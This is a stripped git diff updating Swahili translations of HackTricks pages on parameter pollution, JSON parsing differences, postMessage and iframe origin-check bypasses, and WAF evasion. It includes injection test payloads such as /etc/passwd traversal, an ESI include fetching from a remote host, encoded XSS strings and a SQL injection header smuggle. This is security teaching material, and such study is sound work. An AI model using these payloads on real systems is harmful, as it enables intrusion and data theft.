<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
2. Pendelea parameter ya kwanza.
2. Pendelea kigezo cha kwanza.
### Python 3.12.6 NA Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
2. Pendelea parameter ya mwisho.
2. Pendelea kigezo cha mwisho.
### Python 3.12.6 NA Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
2. Pendelea parameter ya mwisho.
2. Pendelea kigezo cha mwisho.
## JSON Injection
@ -128,7 +128,7 @@ Mbele inaweza kuamini tukio la kwanza wakati nyuma inatumia tukio la pili la ufu
### Mkutano wa Ufunguo: Kukatwa kwa Wahusika na Maoni
Wahusika fulani hawatafasiriwa vizuri na mbele lakini nyuma itawatafsiri na kutumia ufunguo hao, hii inaweza kuwa na manufaa ili **kupita vizuizi fulani**:
Wahusika fulani hawatafasiriwa vizuri na mbele lakini nyuma watafasiri na kutumia ufunguo hao, hii inaweza kuwa na manufaa ili **kupita vizuizi fulani**:
```json
{"test": 1, "test\[raw \x0d byte]": 2}
{"test": 1, "test\ud800": 2}
@ -150,13 +150,13 @@ obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test":
```
Hapa tutatumia serializer kutoka kila parser ili kuona matokeo yake.
Serializer 1 (kwa mfano, GoLang's GoJay library) itatoa:
Serializer 1 (kwa mfano, maktaba ya GoJay ya GoLang) itatoa:
- `description = "Duplicate with comments"`
- `test = 2`
- `extra = ""`
Serializer 2 (kwa mfano, Java's JSON-iterator library) itatoa:
Serializer 2 (kwa mfano, maktaba ya JSON-iterator ya Java) itatoa:
- `description = "Duplicate with comments"`
- `extra = "/*"`

View File

@ -90,13 +90,13 @@ $(ls)
```
## Dangling Markup
### Basic Tests
### Majaribio Msingi
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [File Inclusion/Path Traversal](../file-inclusion/)
## [Ujumuishaji wa Faili/Kupita Njia](../file-inclusion/)
### Jaribio la Msingi
### Majaribio ya Msingi
```bash
/etc/passwd
../../../../../../etc/hosts
@ -161,7 +161,7 @@ ${{7*7}}
```
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Majaribio ya Msingi
### Jaribio la Msingi
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>

View File

@ -38,7 +38,7 @@ Ikiwa **wildcard** inatumika, **ujumbe unaweza kutumwa kwa domain yoyote**, na u
### Kushambulia iframe & wildcard katika **targetOrigin**
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **chanzo** cha **iframe** na **kuvuja** ujumbe wa **nyeti** kwa domain inayodhibitiwa na wewe.\
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **chanzo** cha **iframe** na **kuvuja** **ujumbe wa nyeti** kwa domain inayodhibitiwa na wewe.\
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini **targetOrigin** imewekwa kwa URL na sio kwa wildcard, **hila hii haitafanya kazi**.
```markup
<html>
@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa utafanya **chochote nyeti** na taarifa zilizopokelewa (kama kubadilisha nywila). **Ikiwa haichungii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa utafanya **chochote nyeti** na taarifa iliyopokelewa (kama kubadilisha nenosiri). **Ikiwa haichungii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nenosiri za waathirika (katika mfano huu).
### Uhesabuji
@ -80,29 +80,29 @@ Ili **kupata wasikilizaji wa matukio** katika ukurasa wa sasa unaweza:
![](<../../images/image (618) (1).png>)
- **Nenda** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari
- **Nenda kwa** _Elements --> Event Listeners_ katika zana za maendeleo za kivinjari
![](<../../images/image (396).png>)
- Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kukuonyesha.
### Kupita ukaguzi wa asili
### Mipango ya kuangalia asili
- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kupita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
- Matumizi ya **`indexOf()`** kwa uthibitishaji wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni:
- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kuipita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
- Matumizi ya **`indexOf()`** kwa uthibitisho wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote isipokuwa regexp kunasababisha uongofu wa kimya kuwa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitishaji kwa maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote isipokuwa regexp kunasababisha uhamasishaji wa kimya wa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- Kazi ya **`match()`**, kama `search()`, inashughulikia regex. Ikiwa regex imejengwa vibaya, inaweza kuwa na uwezekano wa kupita.
- Kazi ya **`escapeHtml`** inakusudia kusafisha ingizo kwa kukwepa wahusika. Hata hivyo, haizalishi kitu kipya kilichokwepwa bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika. Haswa, ikiwa kitu kinaweza kubadilishwa kwa njia ambayo mali yake inayodhibitiwa haikubali `hasOwnProperty`, `escapeHtml` haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini:
- Kazi ya **`escapeHtml`** inakusudia kusafisha ingizo kwa kukwepa wahusika. Hata hivyo, haizalishi kitu kipya kilichokwepwa bali inabadilisha mali za kitu kilichopo. Tabia hii inaweza kutumika. Haswa, ikiwa kitu kinaweza kubadilishwa kwa namna ambayo mali yake inayodhibitiwa haikubali `hasOwnProperty`, `escapeHtml` haitafanya kazi kama inavyotarajiwa. Hii inaonyeshwa katika mifano hapa chini:
- Kushindwa Kutarajiwa:
@ -126,9 +126,9 @@ Katika muktadha wa udhaifu huu, kitu cha `File` kinapatikana kwa urahisi kutokan
### e.origin == window.origin kupita
Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zao kwenye usalama na utendaji.
Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zake kwenye usalama na utendaji.
Kwa kuweka **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe.
Kwa kuweka **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia iwepo, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe.
Kwa hiyo, wakati popup inafunguliwa chini ya hali hizi na ujumbe unatumwa kutoka iframe hadi popup kwa kutumia **`postMessage`**, pande zote za kutuma na kupokea zina asili zao zimewekwa kuwa `null`. Hali hii inasababisha hali ambapo **`e.origin == window.origin`** inathibitishwa kuwa kweli (`null == null`), kwa sababu iframe na popup zinashiriki thamani sawa ya asili ya `null`.
@ -147,7 +147,7 @@ if (received_message.source !== window) {
return
}
```
Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** inayotuma **postMessage** na kisha **kufutwa mara moja**.
Unaweza kulazimisha **`e.source`** ya ujumbe kuwa null kwa kuunda **iframe** inayotuma **postMessage** na ambayo **inafuta mara moja**.
Kwa maelezo zaidi **soma:**
@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header bypass
Ili kutekeleza mashambulizi haya, kwa kawaida utahitaji **kueka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
Ili kutekeleza mashambulizi haya, kwa kawaida utakuwa na uwezo wa **kueka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini baadhi ya vichwa kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:
```markup
<script>
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Kuiba ujumbe uliopelekwa kwa mtoto kwa kuzuia ukurasa mkuu
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa** **mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuvuja data** kabla ya kupokelewa:
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa** **mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuvuja data** kabla haijapokelewa:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -218,7 +218,7 @@ Kwa **maelezo zaidi**:
- Kiungo cha ukurasa kuhusu [**XSS**](../xss-cross-site-scripting/)
- Kiungo cha ukurasa kuhusu [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## Marejeleo
## Marejeo
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)

View File

@ -4,15 +4,15 @@
## Winning RCs with Iframes
Kulingana na hii [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) hati za blob zilizoundwa kutoka kwa asili za null zimewekwa mbali kwa faida za usalama, ambayo inamaanisha kwamba ikiwa utaendelea kuifanya ukurasa mkuu kuwa busy, ukurasa wa iframe utaanzishwa.
Kulingana na hii [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) hati za blob zilizoundwa kutoka kwa asili za null zimewekwa mbali kwa faida za usalama, ambayo inamaanisha kwamba ikiwa utaweka ukurasa mkuu kuwa na shughuli nyingi, ukurasa wa iframe utaanzishwa.
Kimsingi katika changamoto hiyo **iframe iliyotengwa inatekelezwa** na mara tu **baada** ya **kupakuliwa** ukurasa wa **mzazi** uta **tuma ujumbe wa post** na **bendera**.\
Hata hivyo, mawasiliano hayo ya postmessage ni **yenye hatari kwa XSS** (**iframe** inaweza kutekeleza msimbo wa JS).
Kimsingi katika changamoto hiyo **iframe iliyotengwa inatekelezwa** na mara **baada** ya **kupakuliwa** ukurasa wa **mzazi** uta **tuma ujumbe wa post** na **bendera**.\
Hata hivyo, mawasiliano ya postmessage ni **hayana usalama dhidi ya XSS** (**iframe** inaweza kutekeleza msimbo wa JS).
Kwa hivyo, lengo la mshambuliaji ni **kuruhusu mzazi kuunda iframe**, lakini **kabla** ya kuruhusu ukurasa wa **mzazi** **kutuma** data nyeti (**bendera**) **uweke busy** na utume **payload kwa iframe**. Wakati **mzazi yuko busy** **iframe inatekeleza payload** ambayo itakuwa ni JS ambayo itasikiliza ujumbe wa **postmessage wa mzazi na kuvuja bendera**.\
Hatimaye, iframe imekamilisha payload na ukurasa wa mzazi unakoma kuwa busy, hivyo unatumia bendera na payload inavuja.
Kwa hivyo, lengo la mshambuliaji ni **kuruhusu mzazi kuunda iframe**, lakini **kabla** ya kuruhusu ukurasa wa **mzazi** **kutuma** data nyeti (**bendera**) **uweke shughuli nyingi** na utume **payload kwa iframe**. Wakati **mzazi ana shughuli nyingi** **iframe inatekeleza payload** ambayo itakuwa ni JS itakayokuwa inasikiliza ujumbe wa **postmessage wa mzazi na kuvuja bendera**.\
Hatimaye, iframe imekamilisha payload na ukurasa wa mzazi unakoma kuwa na shughuli nyingi, hivyo unatumia bendera na payload inavuja.
Lakini unaweza vipi kufanya mzazi kuwa **busy mara tu baada ya kuunda iframe na wakati tu inasubiri iframe iwe tayari kutuma data nyeti?** Kimsingi, unahitaji kutafuta **async** **action** ambayo unaweza kufanya mzazi **itekeleze**. Kwa mfano, katika changamoto hiyo mzazi alikuwa **akisikiliza** **postmessages** kama hii:
Lakini unaweza vipi kufanya mzazi kuwa **na shughuli nyingi mara tu baada ya kuunda iframe na wakati tu inasubiri iframe iwe tayari kutuma data nyeti?** Kimsingi, unahitaji kutafuta **kitendo** cha **async** ambacho unaweza kumfanya mzazi **atekeleze**. Kwa mfano, katika changamoto hiyo mzazi alikuwa **akisikiliza** **postmessages** kama hii:
```javascript
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {
@ -25,6 +25,6 @@ ilikuwa inawezekana kutuma **nambari kubwa katika postmessage** ambayo itakuwa *
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
Na ili uwe sahihi na **tuma** hiyo **postmessage** mara tu **iframe** inapoundwa lakini **kabla** ya kuwa **tayari** kupokea data kutoka kwa mzazi, utahitaji **kucheza na milisekunde za `setTimeout`**.
Na ili uwe sahihi na **tuma** hiyo **postmessage** mara tu **iframe** inapotengenezwa lakini **kabla** ya kuwa **tayari** kupokea data kutoka kwa mzazi, utahitaji **kucheza na milisekunde za `setTimeout`**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Iframes in SOP-1
Katika hii [**changamoto**](https://github.com/terjanq/same-origin-xss) iliyoundwa na [**NDevTK**](https://github.com/NDevTK) na [**Terjanq**](https://github.com/terjanq) unahitaji kutumia XSS katika coded
Katika [**changamoto**](https://github.com/terjanq/same-origin-xss) iliyoundwa na [**NDevTK**](https://github.com/NDevTK) na [**Terjanq**](https://github.com/terjanq) unahitaji kutumia XSS katika coded
```javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
@ -15,9 +15,9 @@ renderContainer.innerHTML = data.body
}
}
```
Kikubwa ni kwamba [**ukurasa mkuu**](https://so-xss.terjanq.me) unatumia DomPurify kutuma `data.body`, hivyo ili kutuma data yako ya html kwa hiyo code unahitaji **bypass** `e.origin !== window.origin`.
Tatizo kuu ni kwamba [**ukurasa mkuu**](https://so-xss.terjanq.me) unatumia DomPurify kutuma `data.body`, hivyo ili kutuma data yako ya html kwa hiyo code unahitaji **bypass** `e.origin !== window.origin`.
Hebu tuone suluhisho wanapendekeza.
Tuone suluhisho wanalo pendekeza.
### SOP bypass 1 (e.origin === null)
@ -32,9 +32,9 @@ Hivyo, kufungua **popup** kutoka **asilimia null** kutafanya **`window.origin`**
### Suluhisho la Changamoto
Kwa hivyo, kwa changamoto hii, mtu anaweza **kuunda** **iframe**, **kufungua popup** kwa ukurasa wenye handler ya XSS iliyo hatarini (`/iframe.php`), kwani `window.origin === e.origin` kwa sababu zote ni `null` inawezekana **kutuma payload itakayofanya kazi ya XSS**.
Kwa hivyo, kwa changamoto hii, mtu anaweza **kuunda** **iframe**, **kufungua popup** kwa ukurasa wenye handler ya XSS iliyo hatarini (`/iframe.php`), kwani `window.origin === e.origin` kwa sababu zote ni `null` inawezekana **kutuma payload itakayofanya exploit XSS**.
Hiyo **payload** itapata **kitambulisho** na kutuma **XSS** **kurudi kwenye ukurasa wa juu** (ukurasa uliofungua popup), **ambayo** itabadilisha **mahali** kwenda kwenye **hatari** `/iframe.php`. Kwa sababu kitambulisho kinajulikana, haijalishi kwamba hali `window.origin === e.origin` haitimizwi (kumbuka, asilimia ni **popup** kutoka iframe ambayo ina **asilimia** **`null`**) kwa sababu `data.identifier === identifier`. Kisha, **XSS itasababisha tena**, wakati huu katika asilimia sahihi.
Hiyo **payload** itapata **kitambulisho** na kutuma **XSS** **kurudi kwenye ukurasa wa juu** (ukurasa uliofungua popup), **ambayo** itabadilisha **mahali** kwenda kwenye **/iframe.php** iliyo **hatarini**. Kwa sababu kitambulisho kinajulikana, haijalishi kwamba hali `window.origin === e.origin` haijaridhika (kumbuka, asilimia ni **popup** kutoka iframe ambayo ina **asilimia** **`null`**) kwa sababu `data.identifier === identifier`. Kisha, **XSS itasababisha tena**, wakati huu katika asilimia sahihi.
```html
<body>
<script>

View File

@ -14,7 +14,7 @@ Ikiwa atafanya hivyo, anaweza kutuma **postmessage** yenye maudhui ya HTML ambay
Njia ya kupita **kikaguzi cha kwanza** ni kwa kufanya **`window.calc.contentWindow`** kuwa **`undefined`** na **`e.source`** kuwa **`null`**:
- **`window.calc.contentWindow`** kwa kweli ni **`document.getElementById("calc")`**. Unaweza kuharibu **`document.getElementById`** kwa **`<img name=getElementById />`** (zingatia kuwa Sanitizer API -[hapa](https://wicg.github.io/sanitizer-api/#dom-clobbering)- haijapangwa kulinda dhidi ya mashambulizi ya DOM clobbering katika hali yake ya msingi).
- **`window.calc.contentWindow`** kwa kweli ni **`document.getElementById("calc")`**. Unaweza kuharibu **`document.getElementById`** kwa **`<img name=getElementById />`** (kumbuka kwamba Sanitizer API -[hapa](https://wicg.github.io/sanitizer-api/#dom-clobbering)- haijasanidiwa kulinda dhidi ya mashambulizi ya DOM clobbering katika hali yake ya kawaida).
- Kwa hivyo, unaweza kuharibu **`document.getElementById("calc")`** kwa **`<img name=getElementById /><div id=calc></div>`**. Kisha, **`window.calc`** itakuwa **`undefined`**.
- Sasa, tunahitaji **`e.source`** kuwa **`undefined`** au **`null`** (kwa sababu `==` inatumika badala ya `===`, **`null == undefined`** ni **`True`**). Kupata hii ni "rahisi". Ikiwa unaunda **iframe** na **kutuma** **postMessage** kutoka kwake na mara moja **kuondoa** iframe, **`e.origin`** itakuwa **`null`**. Angalia msimbo ufuatao
```javascript

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Changing child iframes locations
## Kubadilisha maeneo ya iframes za watoto
Kulingana na [**hii andiko**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unaweza iframe tovuti bila X-Frame-Header ambayo ina iframe nyingine, unaweza **kubadilisha eneo la iframe hiyo ya mtoto**.
Kulingana na [**hii andiko**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza **kubadilisha eneo la iframe hiyo ya mtoto**.
Kwa mfano, ikiwa abc.com ina efg.com kama iframe na abc.com haina X-Frame header, naweza kubadilisha efg.com kuwa evil.com cross origin kwa kutumia, **`frames.location`**.

View File

@ -79,7 +79,7 @@ Hivyo, ombi kama `http://example.com/foo%3f';alert(1);foo=` katika mod security
Vigezo `REQUEST_BASENAME` na `PATH_INFO` pia vilikumbwa na hitilafu hii.
Kitu kama hicho kilitokea katika toleo la 2 la Mod Security ambayo iliruhusu kupita ulinzi ambao ulizuia mtumiaji kufikia faili zenye extensions maalum zinazohusiana na faili za akiba (kama `.bak`) kwa kutuma dot URL encoded katika `%2e`, kwa mfano: `https://example.com/backup%2ebak`.
Kitu kama hicho kilitokea katika toleo la 2 la Mod Security ambayo iliruhusu kupita ulinzi ambao ulizuia mtumiaji kufikia faili zenye extensions maalum zinazohusiana na faili za akiba (kama `.bak`) kwa kutuma tu dot URL encoded katika `%2e`, kwa mfano: `https://example.com/backup%2ebak`.
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
@ -87,7 +87,7 @@ Kitu kama hicho kilitokea katika toleo la 2 la Mod Security ambayo iliruhusu kup
[Utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) unataja kwamba ilikuwa inawezekana kupita sheria za AWS WAF zilizotumika juu ya vichwa vya HTTP kwa kutuma kichwa "kilichovunjika" ambacho hakikupaswa kuchambuliwa vizuri na AWS lakini kilichambuliwa na seva ya nyuma.
Kwa mfano, kutuma ombi lifuatalo lenye SQL injection katika kichwa X-Query:
Kwa mfano, kutuma ombi lifuatalo lenye SQL injection katika kichwa cha X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -106,14 +106,14 @@ Kwa kawaida WAF zina mipaka fulani ya urefu wa maombi ya kuangalia na ikiwa ombi
- Kwa AWS WAF, unaweza [**kuangalia nyaraka**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambao unaweza kukaguliwa kwa ulinzi wa Application Load Balancer na AWS AppSync</td><td>8 KB</td></tr><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambao unaweza kukaguliwa kwa ulinzi wa CloudFront, API Gateway, Amazon Cognito, App Runner, na Verified Access**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambalo linaweza kukaguliwa kwa ulinzi wa Application Load Balancer na AWS AppSync</td><td>8 KB</td></tr><tr><td>Ukubwa wa juu wa mwili wa ombi la wavuti ambalo linaweza kukaguliwa kwa ulinzi wa CloudFront, API Gateway, Amazon Cognito, App Runner, na Verified Access**</td><td>64 KB</td></tr></tbody></table>
- Kutoka [**nyaraka za Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Firewalls za zamani za Programu za Wavuti zenye Core Rule Set 3.1 (au chini) zinaruhusu ujumbe wenye ukubwa zaidi ya **128 KB** kwa kuzima ukaguzi wa mwili wa ombi, lakini ujumbe hizi hazitakaguliwa kwa udhaifu. Kwa toleo jipya (Core Rule Set 3.2 au jipya), jambo sawa linaweza kufanywa kwa kuzima mipaka ya juu ya mwili wa ombi. Wakati ombi linapopita mipaka ya ukubwa:
Firewalls za zamani za Maombi ya Wavuti zenye Core Rule Set 3.1 (au chini) zinaruhusu ujumbe wenye ukubwa zaidi ya **128 KB** kwa kuzima ukaguzi wa mwili wa ombi, lakini ujumbe hizi hazitakaguliwa kwa udhaifu. Kwa matoleo mapya (Core Rule Set 3.2 au mpya), jambo sawa linaweza kufanywa kwa kuzima mipaka ya juu ya mwili wa ombi. Wakati ombi linapopita mipaka ya ukubwa:
Ikiwa **mode ya kuzuia**: Inarekodi na kuzuia ombi.\
Ikiwa **mode ya kugundua**: Inakagua hadi mipaka, inapuuzilia mbali yaliyobaki, na inarekodi ikiwa `Content-Length` inapita mipaka.
Ikiwa **mode ya kugundua**: Inakagua hadi mipaka, inapuuzilia mbali yaliyobaki, na inarekodi ikiwa `Content-Length` inazidi mipaka.
- Kutoka [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
@ -133,7 +133,7 @@ Hadi 128KB.
```
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
Kulingana na utekelezaji wa normalization ya Unicode (maelezo zaidi [hapa](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), wahusika wanaoshiriki ufanisi wa Unicode wanaweza kuwa na uwezo wa kupita WAF na kutekeleza kama mzigo ulokusudiwa. Wahusika wanaofaa wanaweza kupatikana [hapa](https://www.compart.com/en/unicode).
Kulingana na utekelezaji wa normalization ya Unicode (maelezo zaidi [hapa](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), wahusika wanaoshiriki ufanisi wa Unicode wanaweza kuweza kupita WAF na kutekelezwa kama mzigo ulio kusudiwa. Wahusika wanaofaa wanaweza kupatikana [hapa](https://www.compart.com/en/unicode).
#### Example <a href="#example" id="example"></a>
```bash
@ -143,24 +143,24 @@ Kulingana na utekelezaji wa normalization ya Unicode (maelezo zaidi [hapa](https
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
Kama ilivyotajwa katika [**hiki kipande cha blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), ili kupita WAFs zinazoweza kudumisha muktadha wa ingizo la mtumiaji tunaweza kutumia mbinu za WAF ili kweli kuleta hali ya kawaida kwa ingizo la watumiaji.
Kama ilivyotajwa katika [**hiki kipande cha blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), ili kupita WAFs zinazoweza kudumisha muktadha wa ingizo la mtumiaji tunaweza kutumia mbinu za WAF ili kweli kuleta hali ya kawaida ya ingizo la watumiaji.
Kwa mfano, katika chapisho hilo inatajwa kwamba **Akamai ilichambua ingizo la mtumiaji mara 10**. Hivyo basi kitu kama `<input/%2525252525252525253e/onfocus` kitaonekana na Akamai kama `<input/>/onfocus` ambayo **inaweza kufikiriwa kuwa sawa kwani tag imefungwa**. Hata hivyo, mradi tu programu hiyo haifanyi URL decode ingizo mara 10, mwathirika ataona kitu kama `<input/%25252525252525253e/onfocus` ambacho **bado ni halali kwa shambulio la XSS**.
Kwa mfano, katika chapisho hilo inatajwa kwamba **Akamai ilichambua ingizo la mtumiaji mara 10**. Hivyo basi kitu kama `<input/%2525252525252525253e/onfocus` kitaonekana na Akamai kama `<input/>/onfocus` ambacho **kinaweza kufikiriwa kuwa sawa kwani lebo imefungwa**. Hata hivyo, mradi tu programu hiyo haifanyi URL decode ingizo mara 10, mwathirika ataona kitu kama `<input/%25252525252525253e/onfocus` ambacho **bado ni halali kwa shambulio la XSS**.
Hivyo basi, hii inaruhusu **kuficha payloads katika vipengele vilivyoandikwa** ambavyo WAF itachambua na kutafsiri wakati mwathirika hatakiona.
Hivyo basi, hii inaruhusu **kuficha payloads katika sehemu zilizohifadhiwa** ambazo WAF itachambua na kutafsiri wakati mwathirika hatatambua.
Zaidi ya hayo, hii inaweza kufanywa si tu na payloads zilizowekwa URL bali pia na uandishi mwingine kama unicode, hex, octal...
Zaidi ya hayo, hii inaweza kufanywa si tu na payloads zilizohifadhiwa za URL bali pia na encoding nyingine kama unicode, hex, octal...
Katika chapisho hilo, bypasses zifuatazo zinapendekezwa:
